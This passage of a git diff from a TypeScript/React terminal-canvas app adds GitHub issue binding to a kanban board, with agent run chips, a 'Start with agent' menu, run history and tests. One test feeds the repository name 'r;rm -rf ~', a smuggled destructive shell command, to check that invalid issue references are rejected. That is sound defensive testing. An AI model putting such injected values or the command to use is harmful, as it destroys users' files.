GitHubIssueCard({{issue.labels.length > 5 && <span className="github-issue-label">+{issue.labels.length - 5}</span>}</div>)}+ {onOpenRun && <IssueRunChips runs={runs} onOpen={onOpenRun} />}<div className="github-issue-card__footer"><span>{moving ? 'Syncing…' : updatedRelative(issue.updatedAt)}</span>{issue.conflict && <span className="github-issue-conflict">Needs a column</span>}diff --git a/src/renderer/components/kanban/GitHubIssueSummaryModal.test.tsx b/src/renderer/components/kanban/GitHubIssueSummaryModal.test.tsxindex 90fba1391..0b01fb2fa 100644--- a/src/renderer/components/kanban/GitHubIssueSummaryModal.test.tsx+++ b/src/renderer/components/kanban/GitHubIssueSummaryModal.test.tsx@@ -6,7 +6,12 @@ import type { GitHubIssueCardView } from '@shared/github-issues'import { GitHubIssueSummaryModal } from './GitHubIssueSummaryModal'vi.mock('../../session/session', () => ({- useSession: () => ({ api: { shell: { openExternal: vi.fn(async () => {}) } } })+ useSession: () => ({+ api: {+ shell: { openExternal: vi.fn(async () => {}) },+ boardLog: { read: async () => ({ entries: [] }), onChanged: () => () => {}, append: async () => true }+ }+ })}));(globalThis as { IS_REACT_ACT_ENVIRONMENT?: boolean }).IS_REACT_ACT_ENVIRONMENT = true@@ -42,4 +47,43 @@ describe('GitHubIssueSummaryModal', () => {host.remove()opener.remove()})++ it('offers "Start with agent" with the canvas picker rows, and shows the read-only run history', () => {+ vi.stubGlobal('ResizeObserver', class { observe(): void {} unobserve(): void {} disconnect(): void {} })+ const host = document.createElement('div')+ document.body.append(host)+ const root = createRoot(host)+ const pick = vi.fn()+ act(() => root.render(+ <GitHubIssueSummaryModal issue={issue} columns={[]} moving={false} readOnly={false}+ onMove={vi.fn()} onClose={vi.fn()} showRunHistory+ startMenu={() => [{ label: 'Codex', onClick: pick }]} />+ ))+ expect(host.textContent).toContain('Agent runs')+ // Read-only: a comment box under a GitHub issue would read as "post to GitHub".+ expect(host.querySelector('.board-log__composer')).toBeNull()+ expect(host.textContent).toContain('never posted to GitHub')+ const start = [...host.querySelectorAll('button')].find((b) => b.textContent?.startsWith('Start with agent'))!+ act(() => start.dispatchEvent(new MouseEvent('click', { bubbles: true })))+ const row = [...document.body.querySelectorAll<HTMLElement>('.ctx-item')].find((el) => el.textContent?.includes('Codex'))!+ act(() => row.dispatchEvent(new MouseEvent('click', { bubbles: true })))+ expect(pick).toHaveBeenCalled()+ act(() => root.unmount())+ host.remove()+ vi.unstubAllGlobals()+ })++ it('a pull request offers no "Start with agent" and no run history', () => {+ const host = document.createElement('div')+ document.body.append(host)+ const root = createRoot(host)+ act(() => root.render(+ <GitHubIssueSummaryModal issue={issue} kind="pull" columns={[]} moving={false} readOnly={false}+ onMove={vi.fn()} onClose={vi.fn()} showRunHistory startMenu={() => []} />+ ))+ expect(host.textContent).not.toContain('Start with agent')+ expect(host.textContent).not.toContain('Agent runs')+ act(() => root.unmount())+ host.remove()+ })})diff --git a/src/renderer/components/kanban/GitHubIssueSummaryModal.tsx b/src/renderer/components/kanban/GitHubIssueSummaryModal.tsxindex 5ac85b2da..ebaeaac1f 100644--- a/src/renderer/components/kanban/GitHubIssueSummaryModal.tsx+++ b/src/renderer/components/kanban/GitHubIssueSummaryModal.tsx@@ -1,9 +1,14 @@-import { useEffect, useRef } from 'react'+import { useEffect, useRef, useState } from 'react'import type { GitHubIssueCardView } from '@shared/github-issues'import type { KanbanColumn } from '@shared/types'+import { issueLogId, issueRefFromHtmlUrl } from '@shared/github-issue-ref'import { useSession } from '../../session/session'import { Button } from '@renderer/ui/Button'import { Select } from '@renderer/ui/Select'+import { ContextMenu, type MenuItem } from '../ContextMenu'+import { NO_ISSUE_RUNS, type IssueRun } from '../../lib/issueRuns'+import { IssueRunChips } from './IssueRunChips'+import { BoardLogPanel } from './BoardLogPanel'export function GitHubIssueSummaryModal({issue,@@ -13,7 +18,11 @@ export function GitHubIssueSummaryModal({status,kind = 'issue',onMove,- onClose+ onClose,+ startMenu,+ runs = NO_ISSUE_RUNS,+ onOpenRun,+ showRunHistory = false}: {issue: GitHubIssueCardViewcolumns: KanbanColumn[]@@ -25,9 +34,23 @@ export function GitHubIssueSummaryModal({kind?: 'issue' | 'pull'onMove: (columnId: string | null) => voidonClose: () => void+ /** The "Start with agent ▸" rows (the canvas's own agent + account picker, pointed at this+ * issue). Absent = no button — a pull request, or a board with no canvas behind it. */+ startMenu?: () => MenuItem[]+ /** Sessions already working on this issue — the same live chips the card shows. */+ runs?: readonly IssueRun[]+ onOpenRun?: (nodeId: string) => void+ /** Show the issue card's read-only run history (its board-log feed). */+ showRunHistory?: boolean}): React.JSX.Element {const isPull = kind === 'pull'const { api } = useSession()+ const [startAt, setStartAt] = useState<{ x: number; y: number } | null>(null)+ // The run history is filed under the issue card's synthetic board-log id. No id (a card whose+ // URL did not parse) = no history panel, rather than a panel keyed on something made up.+ const logId = !isPull && showRunHistory+ ? issueLogId(issueRefFromHtmlUrl(issue.htmlUrl, issue.number))+ : undefinedconst close = useRef<HTMLButtonElement>(null)const dialog = useRef<HTMLElement>(null)const opener = useRef(document.activeElement instanceof HTMLElement ? document.activeElement : null)@@ -91,8 +114,24 @@ export function GitHubIssueSummaryModal({</Select></label>)}+ {!isPull && startMenu && (+ <Button+ aria-haspopup="menu"+ onClick={(event) => {+ const r = (event.currentTarget as HTMLElement).getBoundingClientRect()+ setStartAt({ x: r.left, y: r.bottom + 4 })+ }}+ >+ Start with agent ▾+ </Button>+ )}<Button onClick={() => void api.shell.openExternal(issue.htmlUrl)}>Open on GitHub</Button></div>+ {!isPull && onOpenRun && runs.length > 0 && (+ <div className="github-issue-modal__runs">+ <IssueRunChips runs={runs} onOpen={onOpenRun} />+ </div>+ )}{!isPull && issue.conflict && (<p className="github-issue-modal__warning">This issue has conflicting mapped labels. Choose a column to replace them with one exact label.@@ -102,6 +141,25 @@ export function GitHubIssueSummaryModal({<div className="github-issue-modal__body">{issue.body.trim() || 'No description provided.'}</div>+ {logId && (+ <div className="github-issue-modal__history">+ <BoardLogPanel+ card={{ id: logId }}+ title="Agent runs"+ readOnly+ emptyText="No agent has worked on this issue from this project yet. This history stays in the project's board log and is never posted to GitHub."+ />+ </div>+ )}+ {startAt && startMenu && (+ <ContextMenu+ x={startAt.x}+ y={startAt.y}+ zIndex={60}+ items={startMenu()}+ onClose={() => setStartAt(null)}+ />+ )}</section></div>)diff --git a/src/renderer/components/kanban/IssueRunChips.tsx b/src/renderer/components/kanban/IssueRunChips.tsxnew file mode 100644index 000000000..dd22bef2b--- /dev/null+++ b/src/renderer/components/kanban/IssueRunChips.tsx@@ -0,0 +1,65 @@+import { memo } from 'react'+import { useAgentStatus } from '../../state/agentStatus'+import { issueRunChipSig, type IssueRun, type IssueRunChipKind } from '../../lib/issueRuns'++const LABEL: Record<IssueRunChipKind, string | null> = {+ running: 'RUNNING',+ needs: 'NEEDS YOU',+ failed: 'TURN FAILED',+ dropped: 'DROPPED',+ idle: null+}++/**+ * The live sessions bound to one GitHub issue card: one chip per session, carrying its state+ * (RUNNING / NEEDS YOU / …) and unread dot. Clicking a chip opens that session's card.+ *+ * READ-ONLY by construction: this is the only place the board looks at a bound session's hook+ * state, and it renders — it never writes an assignment. A hook `done` ends a TURN, not the work,+ * so it changes the chip (to idle) and nothing else; the card moves only when the session `assign`s+ * itself or a person drags it.+ */+export const IssueRunChips = memo(function IssueRunChips({+ runs,+ onOpen+}: {+ runs: readonly IssueRun[]+ onOpen: (nodeId: string) => void+}): React.JSX.Element | null {+ if (runs.length === 0) return null+ return (+ <div className="issue-run-chips" aria-label="Sessions working on this issue">+ {runs.map((run) => (+ <IssueRunChip key={run.id} run={run} onOpen={onOpen} />+ ))}+ </div>+ )+})++function IssueRunChip({ run, onOpen }: { run: IssueRun; onOpen: (nodeId: string) => void }) {+ // A primitive derived from this ONE node's entry — never `s.byId`, whose identity changes on+ // every hook event of every node (the `loopSig` / `armedDepSig` discipline). Same-state events+ // refresh `stateAt` in place and leave this string, and so the chip, untouched.+ const sig = useAgentStatus((s) => issueRunChipSig(s.byId[run.id]))+ const [kind, unread] = sig.split('|') as [IssueRunChipKind, string]+ const label = LABEL[kind]+ const name = run.title || run.agentId || 'Session'+ return (+ <button+ type="button"+ className={`issue-run-chip issue-run-chip--${kind}`}+ title={`${name}${label ? ` — ${label.toLowerCase()}` : ''} · open its card`}+ data-state={kind}+ onClick={(event) => {+ event.stopPropagation()+ onOpen(run.id)+ }}+ // The chip sits inside the issue card, which opens its summary on Enter/Space.+ onKeyDown={(event) => event.stopPropagation()}+ >+ <span className="issue-run-chip__name">{name}</span>+ {label && <span className="issue-run-chip__state">{label}</span>}+ {unread === '1' && <span className="kanban-card__unread" aria-label="unread" />}+ </button>+ )+}diff --git a/src/renderer/components/kanban/KanbanView.issueBinding.test.tsx b/src/renderer/components/kanban/KanbanView.issueBinding.test.tsxnew file mode 100644index 000000000..e362a5b3c--- /dev/null+++ b/src/renderer/components/kanban/KanbanView.issueBinding.test.tsx@@ -0,0 +1,179 @@+// @vitest-environment jsdom+//+// The board side of "Start with agent" on a GitHub issue card: the issue card shows every session+// bound to it as a live chip, a session card shows its `#N`, the issue card's menu offers the+// canvas's own agent picker — and a hook `done` never moves any card.+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'+import { act } from 'react'+import { createRoot, type Root } from 'react-dom/client'+import type { GitHubIssueCardView, GitHubIssuePage } from '@shared/github-issues'+import type { ProjectKanban } from '@shared/types'+import { KanbanView, type KanbanSession } from './KanbanView'+import { defaultKanban } from '../../lib/kanban'+import type { MenuItem } from '../ContextMenu'+import { useAgentStatus } from '../../state/agentStatus'+import { useProjects } from '../../state/projects'+import { useViewMode } from '../../state/viewMode'+import { useGitHubIssues } from '../../state/githubIssues'++vi.mock('../../session/session', () => ({+ useSession: () => ({ source: 'local', api: window.nodeTerminal })+}))++const ISSUE: GitHubIssueCardView = {+ id: 9001, number: 42, title: 'Parser drops the last line', body: 'body text', state: 'open',+ stateReason: null, htmlUrl: 'https://github.com/eneskirca/nodeterm/issues/42',+ apiUrl: 'https://api.github.com/repos/eneskirca/nodeterm/issues/42', labels: [], assignees: [],+ createdAt: '2026-09-01T00:00:00Z', updatedAt: '2026-09-01T00:00:00Z', locked: false,+ columnId: null, conflict: null+}++const page = (items: GitHubIssueCardView[]): GitHubIssuePage => ({+ items, counts: { ungrouped: items.length }, partial: false, readOnly: false+})++const bound = {+ id: 'term-bound',+ title: 'Claude',+ color: '#fff',+ kind: 'terminal',+ agentId: 'claude',+ issueRef: { owner: 'eneskirca', repo: 'nodeterm', number: 42 },+ spawn: {}+} as unknown as KanbanSession++let root: Root+let host: HTMLElement+let openExternal: ReturnType<typeof vi.fn>++beforeEach(() => {+ vi.stubGlobal('IS_REACT_ACT_ENVIRONMENT', true)+ vi.stubGlobal(+ 'ResizeObserver',+ class {+ observe(): void {}+ unobserve(): void {}+ disconnect(): void {}+ }+ )+ openExternal = vi.fn(async () => {})+ ;(window as unknown as { nodeTerminal: unknown }).nodeTerminal = {+ boardLog: { read: async () => ({ entries: [] }), onChanged: () => () => {}, append: async () => true },+ settings: { save: async () => {} },+ shell: { openExternal },+ githubIssues: {+ subscribe: async () => page([ISSUE]),+ unsubscribe: async () => {},+ query: async (q: { kind?: string; columnId: string | null }) =>+ q.kind === 'pull' || q.columnId !== null ? page([]) : page([ISSUE]),+ onChanged: () => () => {}+ }+ }+ useAgentStatus.setState({ byId: {} })+ useProjects.setState({ activeProjectId: 'p1' })+ useViewMode.setState({ requestedIssue: null, requestedCardNodeId: null })+ useGitHubIssues.setState({ projects: {} })+})++afterEach(() => {+ act(() => root.unmount())+ host.remove()+ document.body.innerHTML = ''+ vi.unstubAllGlobals()+})++async function render(opts: {+ board?: ProjectKanban+ sessions?: KanbanSession[]+ onChange?: (b: ProjectKanban) => void+ issueAgentMenu?: (issue: GitHubIssueCardView) => MenuItem[]+}): Promise<void> {+ host = document.createElement('div')+ document.body.appendChild(host)+ root = createRoot(host)+ const noop = (): void => {}+ await act(async () => {+ root.render(+ <KanbanView+ board={opts.board ?? { ...defaultKanban(), github: { columnMappings: [] } }}+ sessions={opts.sessions ?? [bound]}+ onChange={opts.onChange ?? noop}+ onOpenNode={noop}+ onCreateNode={noop}+ onRenameNode={noop}+ onEditSticky={noop}+ onDeleteNode={noop}+ onModalNodeChange={noop}+ onBrowserNav={noop}+ onSetIcon={noop}+ issueAgentMenu={opts.issueAgentMenu}+ />+ )+ })+ // Let the GitHub lane connect and page.+ await act(async () => {+ await new Promise((r) => setTimeout(r, 0))+ })+}++const issueCard = (): HTMLElement =>+ document.querySelector<HTMLElement>('.kanban-card--github')!++describe('KanbanView — GitHub issue ↔ session binding', () => {+ it('shows the bound session as a live chip on the issue card, following its state', async () => {+ await render({})+ const chip = (): HTMLElement => issueCard().querySelector<HTMLElement>('.issue-run-chip')!+ expect(chip()).not.toBeNull()+ act(() => useAgentStatus.setState({ byId: { 'term-bound': { state: 'working', unread: false } } }))+ expect(chip().textContent).toContain('RUNNING')+ act(() => useAgentStatus.setState({ byId: { 'term-bound': { state: 'waiting', unread: false } } }))+ expect(chip().textContent).toContain('NEEDS YOU')+ })++ it('a hook `done` never moves a card — it only quiets the chip', async () => {+ const onChange = vi.fn()+ await render({ onChange })+ act(() => useAgentStatus.setState({ byId: { 'term-bound': { state: 'working', unread: false } } }))+ act(() => useAgentStatus.setState({ byId: { 'term-bound': { state: 'done', unread: true } } }))+ expect(issueCard().querySelector<HTMLElement>('.issue-run-chip')!.dataset.state).toBe('idle')+ expect(onChange).not.toHaveBeenCalled()+ })++ it('an issue nobody works on draws no chips', async () => {+ await render({ sessions: [] })+ expect(issueCard().querySelector('.issue-run-chip')).toBeNull()+ })++ it('the issue card menu offers the canvas agent picker under "Start with agent"', async () => {+ const pick = vi.fn()+ const menu = vi.fn((issue: GitHubIssueCardView): MenuItem[] => [+ { label: 'Claude', onClick: () => pick(issue.number) }+ ])+ await render({ issueAgentMenu: menu })+ act(() => {+ issueCard().dispatchEvent(new MouseEvent('contextmenu', { bubbles: true, clientX: 5, clientY: 5 }))+ })+ expect(document.body.textContent).toContain('Start with agent')+ expect(menu).toHaveBeenCalledWith(expect.objectContaining({ number: 42 }))+ })++ it("a session card's #N opens that issue's summary on the board", async () => {+ await render({})+ const chip = document.querySelector<HTMLElement>('.kanban-card--session .issue-ref-chip')!+ expect(chip.textContent).toBe('#42')+ await act(async () => {+ chip.dispatchEvent(new MouseEvent('click', { bubbles: true }))+ })+ expect(document.querySelector('.github-issue-modal')?.textContent).toContain('Parser drops the last line')+ expect(openExternal).not.toHaveBeenCalled()+ })++ it('an issue the board cannot show opens on GitHub instead of doing nothing', async () => {+ await render({ board: defaultKanban() })+ await act(async () => {+ useViewMode.getState().requestIssue({ owner: 'other', repo: 'repo', number: 7 })+ })+ expect(openExternal).toHaveBeenCalledWith('https://github.com/other/repo/issues/7')+ expect(useViewMode.getState().requestedIssue).toBeNull()+ })+})diff --git a/src/renderer/components/kanban/KanbanView.tsx b/src/renderer/components/kanban/KanbanView.tsxindex f550a72ef..2bb873386 100644--- a/src/renderer/components/kanban/KanbanView.tsx+++ b/src/renderer/components/kanban/KanbanView.tsx@@ -23,6 +23,8 @@ import type { ModalSpawn } from './ModalTerminal'import { ContextMenu, type MenuItem } from '../ContextMenu'import { IconAgent, IconExternal, IconNote, IconSwitch, IconTerminal, IconTrash, IconWeb } from '../icons'import type { GitHubIssueCardView } from '@shared/github-issues'+import { issueKey, issueRefFromHtmlUrl, issueUrl, type IssueRef } from '@shared/github-issue-ref'+import { NO_ISSUE_RUNS, boundRunsByIssue, type IssueRun } from '../../lib/issueRuns'import { useGitHubIssues } from '../../state/githubIssues'import { useAgentStatus } from '../../state/agentStatus'import { useSession } from '../../session/session'@@ -53,6 +55,10 @@ export interface KanbanSession {/** Browser node session partition (kind 'browser' only) — threaded to the modal webview so it* shares the canvas node's jar (`browser-partition-parity.test.tsx`). Absent = default session. */partition?: string+ /** The GitHub issue this session was started on (terminal cards only) — see+ * `CanvasNodeState.issueRef`. The issue card shows the session as a live chip, and this card shows+ * `#N`: the board is the canvas's other view of the same binding. */+ issueRef?: IssueRef/** The node's user-chosen icon (see @shared/node-icon). The board is the canvas's other view of* the same session, so a session the user marked with an icon carries it here too. Terminal* cards only in v1 — that is the only kind whose canvas node offers the action, and a card@@ -105,6 +111,12 @@ export interface KanbanViewProps {* with no canvas behind it (a test, a future read-only view) simply shows no rows.*/accountMenuItems?: (nodeId: string) => MenuItem[]+ /**+ * "Start with agent ▸" rows for a GitHub issue card — the canvas's own agent + account picker+ * (`agentCreationEntries`), pointed at starting a bound session on that issue. Optional for the+ * same reason as `accountMenuItems`: a board with no canvas behind it offers none.+ */+ issueAgentMenu?: (issue: GitHubIssueCardView) => MenuItem[]}type Drag =@@ -142,7 +154,7 @@ function useCanvasCovered(): void {export const KanbanView = memo(function KanbanView({board, sessions, onChange, onOpenNode, onCreateNode, onRenameNode, onEditSticky, onDeleteNode,- onModalNodeChange, onBrowserNav, onSetIcon, accountMenuItems+ onModalNodeChange, onBrowserNav, onSetIcon, accountMenuItems, issueAgentMenu}: KanbanViewProps) {useCanvasCovered()const { api } = useSession()@@ -161,6 +173,8 @@ export const KanbanView = memo(function KanbanView({{ item: GitHubIssueCardView; kind: 'issue' | 'pull' } | null>(null)const [githubRetry, setGitHubRetry] = useState(0)+ // Right-click menu on a GitHub issue card ("Start with agent ▸", Open on GitHub).+ const [issueMenu, setIssueMenu] = useState<{ issue: GitHubIssueCardView; x: number; y: number } | null>(null)// A move that would close or reopen the issue on GitHub waits here for an explicit confirmation.const [pendingGitHubMove, setPendingGitHubMove] = useState<{ issue: GitHubIssueCardView; columnId: string | null; confirmation: GitHubMoveConfirmation } | null@@ -247,7 +261,31 @@ export const KanbanView = memo(function KanbanView({useEffect(() => {setSource('all')setModalIssue(null)+ setIssueMenu(null)}, [projectId])+ // A node's `#N` chip asked for its issue (openIssueOnBoard). Open the issue's summary once the+ // issue lane has loaded; when the board cannot show it — no GitHub sync on this board, another+ // repository, a closed issue on a page not fetched, a lane that failed — open it on GitHub+ // instead. Never a silent no-op: the chip was clicked, something opens.+ const requestedIssue = useViewMode((s) => s.requestedIssue)+ useEffect(() => {+ if (!requestedIssue) return+ // Still connecting: wait for the lane (this effect re-runs on every store change).+ if (board.github && (!github || github.loading)) return+ const key = issueKey(requestedIssue)+ const found = key && board.github+ ? Object.values(github?.pages ?? {})+ .flatMap((page) => page.items)+ .find((item) => issueKey(issueRefFromHtmlUrl(item.htmlUrl, item.number)) === key)+ : undefined+ useViewMode.getState().clearIssueRequest()+ if (found) {+ setModalIssue({ item: found, kind: 'issue' })+ return+ }+ const url = issueUrl(requestedIssue)+ if (url) void api.shell.openExternal(url)+ }, [requestedIssue, github, board.github, api])useEffect(() => {if (!modalIssue || !github) returnconst source = modalIssue.kind === 'pull' ? github.pullPages : github.pages@@ -286,6 +324,25 @@ export const KanbanView = memo(function KanbanView({[customAgents, disabledAgents])const byId = useMemo(() => new Map(sessions.map((s) => [s.id, s])), [sessions])+ // Sessions bound to each GitHub issue, keyed case-insensitively. The previous map is handed back+ // in so an unchanged group keeps its array — `sessions` is re-derived on every canvas change, and+ // a fresh array per render would re-render every bound issue card.+ const runsRef = useRef<ReadonlyMap<string, readonly IssueRun[]>>(new Map())+ const runsByIssue = useMemo(() => {+ runsRef.current = boundRunsByIssue(sessions, runsRef.current)+ return runsRef.current+ }, [sessions])+ const runsFor = useCallback((issue: GitHubIssueCardView): readonly IssueRun[] => {+ const key = issueKey(issueRefFromHtmlUrl(issue.htmlUrl, issue.number))+ return (key && runsByIssue.get(key)) || NO_ISSUE_RUNS+ }, [runsByIssue])+ const handleIssueContext = useCallback(+ (issue: GitHubIssueCardView, x: number, y: number) => setIssueMenu({ issue, x, y }),+ []+ )+ const handleOpenIssueRef = useCallback((ref: IssueRef) => {+ useViewMode.getState().requestIssue(ref)+ }, [])const sessionIds = useMemo(() => sessions.map((s) => s.id), [sessions])// Stable per-card label arrays: labelsForCard allocates a fresh array per call, and that@@ -467,6 +524,7 @@ export const KanbanView = memo(function KanbanView({meta={metaOf(s.id)}labels={labelsOf(s.id)}onOpen={setModalNodeId}+ onOpenIssue={handleOpenIssueRef}onContext={handleCardContext}onDragStart={handleCardDragStart}onDragEnd={handleDragEnd}@@ -493,6 +551,9 @@ export const KanbanView = memo(function KanbanView({onMove={handleMoveGitHub}onDragStart={handleGitHubDragStart}onDragEnd={handleDragEnd}+ runs={runsFor(issue)}+ onOpenRun={setModalNodeId}+ onContext={handleIssueContext}/>)),footer: page?.nextCursor@@ -677,6 +738,34 @@ export const KanbanView = memo(function KanbanView({onClose={() => setCardMenu(null)}/>)}+ {issueMenu && (+ <ContextMenu+ x={issueMenu.x}+ y={issueMenu.y}+ zIndex={60}+ items={[+ ...(issueAgentMenu+ ? ([{+ type: 'submenu',+ label: 'Start with agent',+ icon: <IconAgent />,+ children: issueAgentMenu(issueMenu.issue)+ }] as MenuItem[])+ : []),+ {+ label: 'Open summary',+ icon: <IconExternal />,+ onClick: () => setModalIssue({ item: issueMenu.issue, kind: 'issue' })+ },+ {+ label: 'Open on GitHub',+ icon: <IconExternal />,+ onClick: () => void api.shell.openExternal(issueMenu.issue.htmlUrl)+ }+ ]}+ onClose={() => setIssueMenu(null)}+ />+ )}{modalNodeId && byId.has(modalNodeId) && (<CardModalsession={byId.get(modalNodeId)!}@@ -704,6 +793,15 @@ export const KanbanView = memo(function KanbanView({status={github?.issueStatus[modalIssue.item.number]}onMove={(columnId) => handleMoveGitHub(modalIssue.item, columnId)}onClose={() => setModalIssue(null)}+ startMenu={modalIssue.kind === 'issue' && issueAgentMenu+ ? () => issueAgentMenu(modalIssue.item)+ : undefined}+ runs={modalIssue.kind === 'issue' ? runsFor(modalIssue.item) : NO_ISSUE_RUNS}+ onOpenRun={(nodeId) => {+ setModalIssue(null)+ setModalNodeId(nodeId)+ }}+ showRunHistory={modalIssue.kind === 'issue'}/>)}{pendingGitHubMove && (diff --git a/src/renderer/components/kanban/SessionCard.tsx b/src/renderer/components/kanban/SessionCard.tsxindex f31e167ac..6088553e7 100644--- a/src/renderer/components/kanban/SessionCard.tsx+++ b/src/renderer/components/kanban/SessionCard.tsx@@ -8,6 +8,8 @@ import { NodeIconView } from '../NodeIcon'import { LabelChips } from './LabelChips'import { PRIORITIES } from './CardMetaBar'import type { KanbanSession } from './KanbanView'+import type { IssueRef } from '@shared/github-issue-ref'+import { IssueRefChip } from '../IssueRefChip'const PRIO_COLOR = Object.fromEntries(PRIORITIES.map((p) => [p.id, p.color])) as Record<KanbanPriority, string>@@ -26,10 +28,12 @@ interface SessionCardProps {onDropAt: (nodeId: string, side: 'before' | 'after') => void/** Right-click on the card — opens the actions menu at the cursor. */onContext: (nodeId: string, x: number, y: number) => void+ /** The session's `#N` chip (it was started on a GitHub issue): open that issue. */+ onOpenIssue?: (ref: IssueRef) => void}export const SessionCard = memo(function SessionCard({- session, meta, labels = [], onOpen, onDragStart, onDragEnd, onDropAt, onContext+ session, meta, labels = [], onOpen, onDragStart, onDragEnd, onDropAt, onContext, onOpenIssue}: SessionCardProps) {// THIS card's agent status, subscribed per card rather than threaded down from the board.// KanbanView used to hold `useAgentStatus((s) => s.byId)` and pass the map through the column:@@ -119,6 +123,9 @@ export const SessionCard = memo(function SessionCard({<span className="kanban-card__nodedot" style={{ background: session.color }} /><NodeIconView icon={session.icon} size={14} className="kanban-card__icon" /><span className="kanban-card__title">{session.title}</span>+ {session.kind === 'terminal' && onOpenIssue && (+ <IssueRefChip issueRef={session.issueRef} onOpen={onOpenIssue} />+ )}{session.kind === 'sticky' && <span className="kanban-card__kind">note</span>}{session.kind === 'browser' && <span className="kanban-card__kind">web</span>}{badge === 'dropped' && (diff --git a/src/renderer/components/kanban/board-log-panel.test.tsx b/src/renderer/components/kanban/board-log-panel.test.tsxindex 7e1e0b0b3..521641adf 100644--- a/src/renderer/components/kanban/board-log-panel.test.tsx+++ b/src/renderer/components/kanban/board-log-panel.test.tsx@@ -24,4 +24,17 @@ describe('eventBody — the activity sentence', () => {it('an unknown future type falls back neutrally', () => {expect(eventBody({ type: 'something-new' as BoardLogEvent['type'] })).toBe('updated this card')})++ it('renders a run on an issue card, naming the session and how it ended', () => {+ expect(eventBody({ type: 'run-started', title: 'Claude', run: { nodeId: 'term-1', agentId: 'claude' } })).toBe(+ 'started Claude (term-1) on this issue'+ )+ expect(eventBody({ type: 'run-ended', title: 'Claude', run: { nodeId: 'term-1', end: 'done' } })).toBe(+ 'closed Claude (term-1) (last state: done)'+ )+ })++ it('a run line survives a malformed run record from a hand-edited log', () => {+ expect(eventBody({ type: 'run-ended', run: { nodeId: 42 } as never })).toBe('closed a session')+ })})diff --git a/src/renderer/lib/controlRouting.test.ts b/src/renderer/lib/controlRouting.test.tsindex 7f06ec1c9..2c33f238a 100644--- a/src/renderer/lib/controlRouting.test.ts+++ b/src/renderer/lib/controlRouting.test.ts@@ -341,6 +341,16 @@ describe('storedNodeListing', () => {{ id: 'term-b-3', kind: 'terminal', title: '' }])})++ it('marks a session started on a GitHub issue on its own row, and only a valid reference', () => {+ const rows = storedNodeListing([+ { id: 'term-1', kind: 'terminal', title: 'Claude', issueRef: { owner: 'o', repo: 'r', number: 7 } },+ { id: 'term-2', kind: 'terminal', title: 'Hostile', issueRef: { owner: 'o', repo: 'r;rm -rf ~', number: 7 } }+ ])+ expect(rows[0]).toMatchObject({ issue: 'o/r#7' })+ expect(rows[1]).not.toHaveProperty('issue')+ expect(controlListingText(rows)).toBe('term-1 [terminal] Claude — issue o/r#7\nterm-2 [terminal] Hostile')+ })})describe('the off-screen disposition table (the verbs that used to travel)', () => {diff --git a/src/renderer/lib/controlRouting.ts b/src/renderer/lib/controlRouting.tsindex a0d2ad25a..4fe886aeb 100644--- a/src/renderer/lib/controlRouting.ts+++ b/src/renderer/lib/controlRouting.ts@@ -14,6 +14,7 @@// that reads and changes nothing, answer straight out of its serialized nodes).import { canControlCanvas, type AgentId } from '@shared/agents/config'+import { formatIssueRef } from '@shared/github-issue-ref'import { controlLaunchState, type LaunchDelivery, type StatusById } from './pendingLaunch'import { projectTravel } from './presenceTravel'import {@@ -36,6 +37,8 @@ export interface StoredNode {title?: stringpendingLaunch?: unknownagentId?: string+ /** The GitHub issue the session was started on — hostile until `formatIssueRef` says otherwise. */+ issueRef?: unknown}/**@@ -178,8 +181,12 @@ export function storedNodeListing(const status = statuses[n.id]const launchState = controlLaunchState(!!n.pendingLaunch, deliveries[n.id] ?? ((n.pendingLaunch as { manualOnly?: boolean } | undefined)?.manualOnly ? { kind: 'failed', attempts: 1, at: 0 } : undefined), status) ??(n.agentId && !status?.state ? 'unconfirmed' as const : undefined)+ // A session started on an issue is told so on its OWN row, so `list` is enough for an agent to+ // learn it is bound (and which card to move). Only a reference `formatIssueRef` vouches for.+ const issue = formatIssueRef(n.issueRef)return {id: n.id, kind: n.kind ?? 'terminal', title: n.title ?? '',+ ...(issue ? { issue } : {}),...(status?.lastTurnError ? { lastTurnErrored: true } : {}),...(launchState ? { launchState } : {})}@@ -197,6 +204,7 @@ const launchLabels = {export function controlListingText(rows: ReturnType<typeof storedNodeListing>): string {return rows.map((n) => `${n.id} [${n.kind}] ${n.title}` ++ (n.issue ? ` — issue ${n.issue}` : '') +(n.launchState ? ` — ${launchLabels[n.launchState]}` : '') +(n.lastTurnErrored ? ' — LAST TURN ERRORED' : '')).join('\n')diff --git a/src/renderer/lib/issueFlag.test.ts b/src/renderer/lib/issueFlag.test.tsnew file mode 100644index 000000000..d0d871d89--- /dev/null+++ b/src/renderer/lib/issueFlag.test.ts@@ -0,0 +1,83 @@+import { describe, expect, it, vi } from 'vitest'+import { resolveIssueFlagFor } from './issueFlag'++const withBoard = (repository?: string) => ({+ id: 'p1',+ kanban: { github: repository === undefined ? {} : { repository } }+})++describe('resolveIssueFlagFor (open-agent --issue on the desktop)', () => {+ it('is a no-op without the flag', async () => {+ const ask = vi.fn()+ expect(await resolveIssueFlagFor(undefined, 'open-agent', withBoard(), ask)).toEqual({ ok: true })+ expect(ask).not.toHaveBeenCalled()+ })++ it('takes a full owner/repo#N as given, board or no board', async () => {+ const ask = vi.fn(async () => 'x/y')+ expect(await resolveIssueFlagFor('a/b#3', 'open-agent', undefined, ask)).toEqual({+ ok: true,+ ref: { owner: 'a', repo: 'b', number: 3 }+ })+ })++ it('resolves #N against the repository the board syncs with (the host controller answer)', async () => {+ const ask = vi.fn(async () => 'eneskirca/nodeterm')+ expect(await resolveIssueFlagFor('#9', 'open-agent', withBoard(), ask)).toEqual({+ ok: true,+ ref: { owner: 'eneskirca', repo: 'nodeterm', number: 9 }+ })+ expect(ask).toHaveBeenCalledWith('p1')+ })++ it('falls back to the explicitly configured repository when the controller cannot answer', async () => {+ const ask = vi.fn(async () => {+ throw new Error('E_UNSUPPORTED')+ })+ expect(await resolveIssueFlagFor('#9', 'open-claude', withBoard('o/r'), ask)).toEqual({+ ok: true,+ ref: { owner: 'o', repo: 'r', number: 9 }+ })+ })++ it('treats a controller that throws synchronously (no GitHub api on this session) as unknown', async () => {+ const ask = (): Promise<string | null> => {+ throw new TypeError('githubControl is undefined')+ }+ expect(await resolveIssueFlagFor('#9', 'open-agent', withBoard('o/r'), ask)).toEqual({+ ok: true,+ ref: { owner: 'o', repo: 'r', number: 9 }+ })+ })++ it('refuses #N when the project has no GitHub board at all — without asking anyone', async () => {+ const ask = vi.fn(async () => 'o/r')+ const r = await resolveIssueFlagFor('#9', 'open-agent', { id: 'p1' }, ask)+ expect(r).toEqual({+ ok: false,+ error:+ "open-agent: --issue #9 needs this project's kanban board to 